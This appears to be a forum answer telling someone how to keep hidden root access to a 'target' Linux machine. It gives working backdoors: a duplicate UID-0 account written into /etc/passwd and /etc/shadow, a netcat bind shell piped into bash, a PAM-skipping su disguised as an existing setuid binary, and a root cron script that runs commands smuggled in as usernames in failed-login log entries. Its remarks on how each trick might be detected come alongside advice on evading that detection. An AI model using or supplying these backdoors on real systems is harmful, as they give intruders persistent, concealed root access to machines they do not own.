It rather depends what you mean by "invisible".
It's not really possible to change the behaviour of the system and leave no detectable trace. All you can do is make it harder to find those traces. At the extreme end of the scale you could compile a kernel module capable of hiding itself which has an interface back into userspace - although this is far from trivial. A the other end of the scale you could add an alias for an existing user to /etc/passwd and /etc/shadow, e.g.
root:x:0:0:root:/root:/bin/bash
toor:x:0:0:root:/root:/bin/bash
root:$1$WXYZabc4:17158:0:99999:7:::
toor:$1$ABCxyz12:17158:0:99999:7:::
(your target will be using a more recent and verbose crypt implementation). This is visible in the affected files.
You could plumb a shell directly into the network with netcat or [x]inetd
nc -l -p 8282 | bash
...although this is rather obvious and will show up in netstat and ps.
You could add a shell to an existing system user and set a password, then to leverage privileged access you'd need a setuid program. You no doubt already know that setting the setuid bit on a script isn't going to work - so maybe a modified version of su which skips pam for your magic username. Don't just drop it in /bin - overwrite an existing setuid program which you think is unlikely to be used (e.g. ping6). It'll still show up in tripwire or ossec.
One fun one would be to identify somewhere you can write data to without authenticating and set up a cron job as root to extract strings and run them as root (the following is deliberately simplified):
#!/bin/bash
tail -100 /var/log/auth.log | \
awk '/Failed password for gangsta/ {
split($0, out, "gangsta|from");
print out[1] "\n";
}' >/tmp/myscript
. /tmp/myscript
rm -f /tmp/myscript
...again this may get picked up by a host IDS, and beware that cron mails users with the output of their jobs unless you override this in the cron file.